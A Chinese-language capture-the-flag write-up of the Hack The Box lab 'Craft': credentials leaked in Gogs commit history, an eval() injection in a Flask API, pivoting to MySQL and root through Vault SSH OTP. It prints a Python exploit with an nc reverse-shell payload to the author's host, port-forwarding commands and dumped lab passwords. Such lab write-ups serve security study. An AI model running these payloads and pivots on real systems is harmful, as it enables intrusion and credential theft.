社区所有版块导航
Python
python开源   Django   Python   DjangoApp   pycharm  
DATA
docker   Elasticsearch  
aigc
aigc   chatgpt  
WEB开发
linux   MongoDB   Redis   DATABASE   NGINX   其他Web框架   web工具   zookeeper   tornado   NoSql   Bootstrap   js   peewee   Git   bottle   IE   MQ   Jquery  
机器学习
机器学习算法  
Python88.com
反馈   公告   社区推广  
产品
短视频  
印度
印度  
Py学习  »  Git

HTB-Craft 一次从git入手的渗透练习

安全客 • 4 年前 • 466 次点击  

之前做了一个HTB的渗透环境,跟以前公司内部渗透的一次场景非常相似,也是提供了API接口,以及一个有漏洞的gitlab,当时经验不足,没有细心查看git commit log,错过了重要的信息。Craft这个渗透环境渗透思路挺值得学习,记录一下整个渗透过程。
 
Port Scan

root@kali:~/pentest/player# masscan -e tun0 -p1-65535,U:1-65535 10.10.10.110 --rate=700
Starting masscan 1.0.3 (http://bit.ly/14GZzcT) at 2019-12-01 08:46:41 GMT -- forced options: -sS -Pn -n --randomize-hosts -v --send-ethInitiating SYN Stealth ScanScanning 1 hosts [131070 ports/host]Discovered open port 22/tcp on 10.10.10.110Discovered open port 6022/tcp on 10.10.10.110Discovered open port 443/tcp on 10.10.10.110
root@kali:~/pentest/player# nmap -sC -sV -oA Player -p22,6022,443 10.10.10.110Starting Nmap 7.70 ( https://nmap.org ) at 2019-12-01 08:51 GMTNmap scan report for 10.10.10.110Host is up (0.25s latency).
PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u5 (protocol 2.0)| ssh-hostkey:| 2048 bd:e7:6c:22:81:7a:db:3e:c0:f0:73:1d:f3:af:77:65 (RSA)| 256 82:b5:f9:d1:95:3b:6d:80:0f:35:91:86:2d:b3:d7:66 (ECDSA)|_ 256 28:3b:26:18:ec:df:b3:36:85:9c:27:54:8d:8c:e1:33 (ED25519)443/tcp open ssl/http nginx 1.15.8|_http-server-header: nginx/1.15.8|_http-title: About| ssl-cert: Subject: commonName=craft.htb/organizationName=Craft/stateOrProvinceName=NY/countryName=US| Not valid before: 2019-02-06T02:25:47|_Not valid after: 2020-06-20T02:25:47|_ssl-date: TLS randomness does not represent time| tls-alpn:|_ http/1.1 | tls-nextprotoneg:|_ http/1.16022/tcp open ssh (protocol 2.0)| fingerprint-strings:| NULL:|_ SSH-2.0-Go| ssh-hostkey:|_ 2048 5b:cc:bf:f1:a1:8f:72:b0:c0:fb:df:a3:01:dc:a6:fb (RSA)1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :SF-Port6022-TCP:V=7.70%I=7%D=1/8%Time=5E159816%P=x86_64-pc-linux-gnu%r(NULSF:L,C,"SSH-2.0-Gorn");Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
6022端口疑似一个go写的ssh,暂时不知道有啥用。
 
API

使用https访问web
从页面右上角的链接还能发现两个子域名,都添加到hosts。
10.10.10.110 craft.htb api.craft.htb gogs.craft.htb
访问 https://api.craft.htb/api/ ,看英文介绍,貌似是一个管理啤酒生产的系统。
 

Gogs(git)

访问 https://gogs.craft.htb/ ,是一个go语言的开源git服务
在 https://gogs.craft.htb/Craft/craft-api 有craft-api的项目
看到工单管理(应该就是GitHub的issue吧)那里有一篇记录,点进去工单管理看一看
大概内容是一位印度小哥发现可以填写一个伪造的ABV(查了一下,是Alcohol by Volume,酒精度数),小哥建议在写入数据库前进行检测。项目作者表示“要不你来写,我来测试”。最后,一位胡子大叔提到,他已经修复数据库,建议移除印度小哥写的patch,以防发生意外。看来印度小哥写的代码有点问题。
查看git的commit记录,发现了之前测试的账号密码。
auth=('dinesh', '4aUh0A8PbVJxgd')
尝试使用这个账号密码登陆这个网站,发现可以使用😓。继续往下看,可以找到印度小哥写的patch,使用了eval这种骚操作进行判断,惊了。
下载源码进行简单审计,eval部分代码在post brew处,需要先进行登陆认证,可以使用印度小哥的测试账号,登陆成功会返回一个token,将token写入http头X-Craft-Api-Token字段即可进行post brew操作。
   @auth.auth_required    @api.expect(beer_entry)    def post(self):        """        Creates a new brew entry.        """
# make sure the ABV value is sane. if eval('%s > 1' % request.json['abv']): return "ABV must be a decimal value less than 1.0", 400 else: create_brew(request.json) return None, 201
用测试的账号密码进行auth,然后在abv字段进行代码注入,写个python脚本反弹shell。
import requestsfrom requests.auth import HTTPBasicAuthimport json
session = requests.Session()
response = session.get("https://api.craft.htb/api/auth/login",auth=HTTPBasicAuth("dinesh","4aUh0A8PbVJxgd"),verify=False)
token = json.loads(response.content)['token']print(token)
data = { "id": 111, "brewer": "string", "name": "string", "style": "string", "abv": "__import__('os').system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.55 23333 >/tmp/f')" }
rawBody = json.dumps(data)print(rawBody)headers = {"X-Craft-Api-Token":token,"Content-Type": "application/json"}response = session.post("https://api.craft.htb/api/brew/", data=rawBody, headers=headers,verify=False)
本地监听23333端口,运行脚本就拿到shell,直接输入id发现直接就是root,不过翻了一下目录并没有找到flag,再看了一下系统版本和根目录的文件,目测是一个docker,并没有拿到服务器shell。
/home # iduid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)/home # uname -aLinux 5a3d243127f5 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64 Linux/home # ls -al /total 64drwxr-xr-x    1 root     root          4096 Feb 10  2019 .drwxr-xr-x    1 root     root          4096 Feb 10  2019 ..-rwxr-xr-x    1 root     root             0 Feb 10  2019 .dockerenvdrwxr-xr-x    1 root     root          4096 Feb  6  2019 bindrwxr-xr-x    5 root     root           340 Jan  9 05:45 dev
在docker里面发现一个源码不存在的setting文件,这个文件写进.gitignore了,所以没有上传到git项目,里面找到了数据库的账号密码。
/opt/app/craft_api # cat settings.py# Flask settingsFLASK_SERVER_NAME = 'api.craft.htb'FLASK_DEBUG = False  # Do not use debug mode in production
# Flask-Restplus settingsRESTPLUS_SWAGGER_UI_DOC_EXPANSION = 'list'RESTPLUS_VALIDATE = TrueRESTPLUS_MASK_SWAGGER = FalseRESTPLUS_ERROR_404_HELP = FalseCRAFT_API_SECRET = 'hz66OCkDtv8G6D'
# databaseMYSQL_DATABASE_USER = 'craft'MYSQL_DATABASE_PASSWORD = 'qLGockJ6G2J75O'MYSQL_DATABASE_DB = 'craft'MYSQL_DATABASE_HOST = 'db'SQLALCHEMY_TRACK_MODIFICATIONS = False
留意到MYSQL_DATABASE_HOSTdb,直接ping一下看看是什么IP好了。
/opt/app/craft_api # ping dbPING db (172.20.0.4): 56 data bytes64 bytes from 172.20.0.4: seq=0 ttl=64 time=0.083 ms
docker本地没有mysql,我直接把端口转发回来
#本地执行./ew -s lcx_listen -l 40010 -e 40020
#目标执行./ew -s lcx_slave -d 10.10.15.55 -e 40020 -f 172.20.0.4 -g 3306
ew缺库跑不起来,还是用nps吧
./npc -server=10.10.15.55:44445 -vkey=bvpdlhuoptjw2wrg
使用nps的代理连接数据库,发现报错连不上。查了一下报错信息,原因可能是对方mysql是8.0,MySQL8.0.11版本默认的认证方式是caching_sha2_passwor,我本地版本太低,不支持默认的密码加密方式,导致连接不上。
> mysql -h 172.20.0.4 -u craft -pEnter password: **************ERROR 2059 (HY000): Authentication plugin 'caching_sha2_password' cannot be loaded: 找不到指定的模块。
懒得下载MySQL8.0,直接用python脚本连接数据库
#!/usr/bin/env pythonimport pymysqlimport sys
# test connection to mysql databaseconnection = pymysql.connect(host='172.20.0.4', user='craft', password='qLGockJ6G2J75O', db='craft', cursorclass=pymysql.cursors.DictCursor)try: with connection.cursor() as cursor: cursor.execute(sys.argv[1]) result = cursor.fetchall() print(result)finally: connection.close()
在数据库中没找到flag,不过找到了另外两个项目人员的密码。
X:tmpew> py -2 mysql.py "show tables;"[{u'Tables_in_craft': 'brew'}, {u'Tables_in_craft': 'user'}]
X:tmpew> py -2 mysql.py "s*lect * from user;"[{u'username': 'dinesh', u'password': '4aUh0A8PbVJxgd', u'id': 1},{u'username': 'ebachman', u'password': 'llJ77D8QFkLPQB', u'id': 4},{u'username': 'gilfoyle', u'password': 'ZEU3N8WNM2rh4T', u'id': 5}]
 
Gogs Repository

ebachman的账号密码提示不对(安全意识不错呀),gilfoyle的账号成功登陆,并且发现他有一个私有项目。
项目的目录结构如下:
X:tmpcraft-infra> ls -altotal 12drwxr-xr-x 1 kira 197121    0 Feb 10  2019 ./drwxr-xr-x 1 kira 197121    0 Jan  9 15:53 ../drwxr-xr-x 1 kira 197121    0 Feb 10  2019 .ssh/drwxr-xr-x 1 kira 197121    0 Feb 10  2019 craft-flask/-rw-r--r-- 1 kira 197121 1116 Feb 10  2019 docker-compose.ymldrwxr-xr-x 1 kira 197121    0 Feb 10  2019 mysql/drwxr-xr-x 1 kira 197121    0 Feb 10  2019 nginx/drwxr-xr-x 1 kira 197121    0 Feb 10  2019 vault/
简单看了一下代码,整个站包括api,git,mysql,nginx,还有一个vault都是用docker起的。关键还有个rsa的私钥,估计可以用来登陆服务器。
gilfoyle@craft:~$ pwd/home/gilfoylegilfoyle@craft:~$ lsuser.txtgilfoyle@craft:~$ cat user.txtbbf4xxxxxxxxxxxxxxxxxxxxxxxxx5a612d4
直接拿私钥登陆拿到低权限的flag。
 

Vault(Privilege Escalation)

继续查看craft-infra项目的代码,留意到vault这个应用上面渗透的过程中一直没见到,可能是一个特殊用途的应用,查看项目的commit log,可以发现一些端倪。
查一下什么是Vault。
vault是一个密码/证书集中式管理工具,通过HTTP-API对外提供统一的密码访问入口,并且提供权限控制以及详细的日志审计功能。
根据上面的代码,猜测可以通过Vault获取到root的权限。Vault提供了web接口和cli接口,看git的commit log,作者关闭了web入口,所以我们nmap扫描的时候也没有发现8200端口。
我们已经拿到shell了,因此没有web接口问题不大,可以直接使用cli。
官方手册地址:https://www.vaultproject.io/docs/
先对照官方手册研究一下配置文件干了什么。
#!/bin/bash
# set up vault secrets backend
vault secrets enable ssh # 使能ssh secrets engine 目录为: ssh/
vault write ssh/roles/root_otp # 将数据写入指定路径 key_type=otp default_user=root cidr_list=0.0.0.0/0
简单来说就是开启了SSH Secrets Engine,key模式为otp(The One-Time SSH Password),默认用户是root,没有限制登录ip。使用secrets list可以查看已开启的Secrets Engine。
gilfoyle@craft:~$ vault secrets listPath          Type         Accessor              Description----          ----         --------              -----------cubbyhole/    cubbyhole    cubbyhole_ffc9a6e5    per-token private secret storageidentity/     identity     identity_56533c34     identity storesecret/       kv           kv_2d9b0109           key/value secret storagessh/          ssh          ssh_3bbd5276          n/asys/          system       system_477ec595       system endpoints used for control, policy and debugging
使用read可以查看已写入的配置
gilfoyle@craft:~$ vault read ssh/roles/root_otpKey                  Value---                  -----allowed_users        n/acidr_list            0.0.0.0/0default_user         rootexclude_cidr_list    n/akey_type             otpport                 22
使用vault ssh进行连接,官方文档有ssh的命令格式,对着敲就行了,vault会自动生成OTP,复制OTP填入Password即可登陆。
SSH using the OTP mode (requires sshpass for full automation):
$ vault ssh -mode=otp -role=my-role user@1.2.3.4
gilfoyle@craft:~$ vault ssh -mode=otp -role=root_otp root@10.10.10.110Vault could not locate "sshpass". The OTP code for the session is displayedbelow. Enter this code in the SSH password prompt. If you install sshpass,Vault can automatically perform this step for you.OTP for the session is: 66181c61-6b2d-46b7-ad08-ce33d1323bf2


    


. * .. . * ** * @()Ooc()* o . (Q@*0CG*O() ___ |_________/|/ _ | | | | | / | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | _| | | | | | |___/ |_|__|__|_/| _________/


Password:Linux craft.htb 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64
The programs included with the Debian GNU/Linux system are free software;the exact distribution terms for each program are described in theindividual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extentpermitted by applicable law.Last login: Tue Aug 27 04:53:14 2019root@craft:~# lsroot.txtroot@craft:~# cat root.txt831d6xxxxxxxxxxxxxx28a11591
至此获取root权限,渗透结束。
 
总结

程序员在开发的时候可能会在代码仓库留下很多开发过程的测试账号和修bug记录,对此进行审计是渗透过程的重要突破口。

Python社区是高质量的Python/Django开发社区
本文地址:http://www.python88.com/topic/53566
 
466 次点击